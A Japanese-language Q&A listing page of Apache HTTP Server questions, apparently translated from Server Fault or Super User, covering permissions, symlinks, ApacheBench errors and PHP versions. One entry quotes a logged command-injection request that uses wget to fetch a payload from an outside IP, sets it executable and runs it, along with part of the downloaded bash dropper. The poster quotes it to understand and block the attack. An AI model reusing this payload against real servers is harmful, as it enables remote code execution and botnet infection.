タグ付けされた質問 「apache-http-server」

Apacheは、Apache Software Foundationによって管理されている非常に一般的に使用されているWebサーバーソフトウェアであるApache HTTPサーバーの広く知られた用語です。Tomcatやlog4jなどの他のApacheソフトウェアに関する質問の場合は、http://stackoverflow.com/の方が適しています。


8
Linuxのすべてのユーザーにフォルダーの書き込みアクセスを許可するにはどうすればよいですか?
Ubuntuにapache2をインストールしたところ、/ var / wwwフォルダーが保護されていることに気付きました。私はsudo何でもできますが、書き込みアクセスを許可したいだけです。 これどうやってするの? 試しましたsudo chmod 7777 /var/wwwが、うまくいきませんでした。

4
Apacheにシンボリックリンクを追跡させるにはどうすればよいですか?
私のApache wwwフォルダ(/var/wwwubuntu 10.10上)には次のものがあります: mydir -> /home/user/mydir (で作成したln -s) ここでmydir、Webからファイルのリストを表示したい場合、apacheにディレクティブFollowSymLinksを指定する必要がありますか? しかし、どこに置くのですか?で.htaccessファイル?どこ?私は多くの方法を試しましたが、理解できません... これは私の/etc/apache2/sites-enabled/000-defaultファイルです: <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www <Directory /> Options FollowSymLinks Indexes AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch …


4
Webサーバーは、直接IPアドレスアクセスを使用しているかどうかをどのように知るのですか?
一部のWebサーバーは、IPアドレスを使用してアクセスすると、直接IPアドレスアクセスが許可されていないというエラーを返します。 私はこれがどのように機能するのかしばらく疑問に思っていました。つまり、ブラウザは常にIPアドレスを解決してそれに接続するとは限りませんか?「直接IPアドレスアクセス」はDNSをスキップするだけではありませんか?リモートサーバーは、DNSをスキップしたことをどのように認識しますか?

6
OS XでのApacheベンチテストエラー:「apr_socket_recv:接続がピアによってリセットされました(54)」
数週間前にMacBook Pro 13 "をLionにアップデートしました。ApacheBench(apache2.2.19)が機能していないことがわかりました。 apr_socket_recv:ピアによる接続のリセット(54) また、Mac Miniでクリーンインストールを実行したところ、同じエラーが発生しました。 どうすれば修正できますか?

6
Ubuntuでの起動時にサービスが開始されないようにするにはどうすればよいですか?
多くのサーバー(Apache、MySQLなど)がインストールされていますが、起動時にすべてのサーバーが起動するのは望ましくありません(それらは電力を消費し、ほとんどの場合バッテリーを使用しています)。これを設定するにはどうすればよいですか?

6
Apache Synapseとは何ですか?
私のウェブサイトは、次のユーザーエージェント文字列を使用した奇妙なリクエストに常に見舞われています。 Mozilla/4.0 (compatible; Synapse) Googleの友好的なツールを使用して、これが友好的な近所のApache Synapseの特徴的なコーリングカードであると判断できました。「軽量ESB(エンタープライズサービスバス)」。 今、私が収集できたこの情報に基づいて、このツールが何のために使用されているのかまだわかりません。私が知ることができるのは、それがWebサービスと関係があり、さまざまなプロトコルをサポートしているということだけです。情報ページは、プロキシとWebサービスに関係があると結論付けるだけです。 私が遭遇した問題は、通常私は気にしないが、ロシアのIPにかなり打撃を受けているということです(ロシアのものが悪いわけではありませんが、私たちのサイトはかなり地域固有のものです)クエリ文字列パラメーターに、(少なくともxss /悪意のあるものではない)奇妙な値を再入力します。 &PageNum=-1またはのようなもの&Brand=25/5/2010 9:04:52 PM。 先に進み、これらのips / useragentをサイトからブロックする前に、何が起こっているのかを理解する手助けをしてもらいたいです。 どんな助けも大歓迎です:)


2
このbashスクリプトは何をしますか?[ハックの試み]
私は最近、サーバーのApacheログに気付いていましたが、最近次の奇妙な行があります: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" そこで、カスタムFail2Banフィルターを作成し、これらの/login.cgi URLを要求するIPの禁止を開始しました。 しかし、私は彼らが何をしようとしていたのか興味があったので、彼らが実行しようとしているスクリプトを引っ張ったので、それが何をしているのか正確には分からないようです。/ varおよび/ tmpのarchフォルダーを削除する方法はありますか? とにかく、ここにあります: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …

2
Windows上のApache 2.4の応答が遅く、一部の動的ページを提供するとハングする
(この質問に対する答えは知っています。答えをコミュニティと共有するためだけにこれを投稿します) Apache 2.4のローカル(Windows 7)インスタンスでは、これらのURLへのアクセスに使用するブラウザーに応じて、URLを提供するときに遅延またはハングアップが発生します。 Firefox / Chromeでは、Apacheは特定のURLでの応答が遅くなります。特定のURLで時間の約20%が停滞します。発生した場合、Firefoxが「Waiting for ...」ステータスを表示するまでに5秒の遅延があります。 Internet Explorer 9では、Apacheは再起動されるまでハングし、リクエスト(ブラウザを含む)の処理を停止します。 これは、動的(PHP)リクエストでのみ発生するようですが、すべてのリクエストでは発生しません。実際、特定のサイトでのみ発生します。同じマシン上の他のPHPベースのサイトは正常に機能します。 問題のあるサイトが多数のサブドメイン(VirtualHosts)で構成されていることは重要な場合も重要でない場合もあります。 WindowsファイアウォールとComodoファイアウォールを無効にしても効果はありません。 この問題は、「ビジー」ページ(IFRAMESなどの追加リクエスト)でより頻繁に発生します httpd.confキープアライブ、EnableMMAP、HostnameLookupsを無効にするなど、多くの変更を試みましたが、何も機能していないようです。

6
Apacheがシステムにインストールされているかどうかを確認するにはどうすればよいですか?
私は自分のコンピューターにLinux Mintを持っていますが、Apache2がインストールされているのか、実際にインストールされているのかを知る方法がわかりません。http://localhostURLを使用してWebブラウザー(PHPをインストール済み)を実行すると動作します。

6
Raspberry Piで、CPU温度、CPU負荷などをリアルタイムで示すダイヤルを含むWebページをホストするには、何をする必要がありますか?
私はUnixコマンドとスクリプトには長けていますが、Webの経験はほとんどありません。CPU負荷やシステムの温度など、興味のあるメトリックを取得し、10秒ごとにファイルを更新するスクリプトがあります。Raspberry PiがホストするローカルWebサイトにiPadを向けたいと思います。RaspberryPiは、このデータをリアルタイムで更新するグラフィカルな表現を持っています。 私は単純なApache Webサーバーをセットアップする前に働いたことがあり、HTMLとJavaScriptを書くことができます。それに加えて、私は行方不明になっており、誰かが正しい方向に私を向ける必要があります。

1
名前ベースの仮想ホストでサブドメインを作成する方法は?
名前ベースのホスティングがありますmy.address.com。友人には「プレーン」アドレスがaddress.comあり、SSH経由でアクセスできる仮想マシンを提供してくれました。 また、彼はportで魔法をかけ、Apacheをインストールした後、/var/wwwを通じてアクセスできましたmy.address.com。 だから、質問は、どのようにサブドメインを作成できtest.my.address.comますか? ApacheのListen Directiveには魔法があるはずですが、私にはわかりません。また、Apacheでローカルに利用可能なサイトを作成する方法を知っていますが、同じではありません。

2
PHPバージョンがphpinfo()とCLIで異なるのはなぜですか?
phpinfo()とphp -v(CLIで)によって報告されたPHPバージョンの間にミスマッチがあることに気付きました。 phpinfo(): 5.5.24 php -v: 5.6.9 Mac OS X 10.10(Yosemite)で作業しており、ライブラリ(php-version)をインストールしてPHPバージョンを管理しようとしています。 ラップトップにインストールされている3つの異なるバージョンを報告します。 5.4.41 5.5.25 * 5.6.9 ApacheとCLIの両方で同じバージョンのPHPを設定したいと思います。 どのPHPバージョンが使用するかをApacheに伝えるにはどうすればよいですか? 私は私の中でこの行を書き込もうとしましたhttpd.conf: LoadModule php5_module /usr/local/opt/php56/libexec/apache2/libphp5.so 次に: sudo apachectl restart しかし、これだけでは問題を解決できません…私のPHP情報には5.5.24があります。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.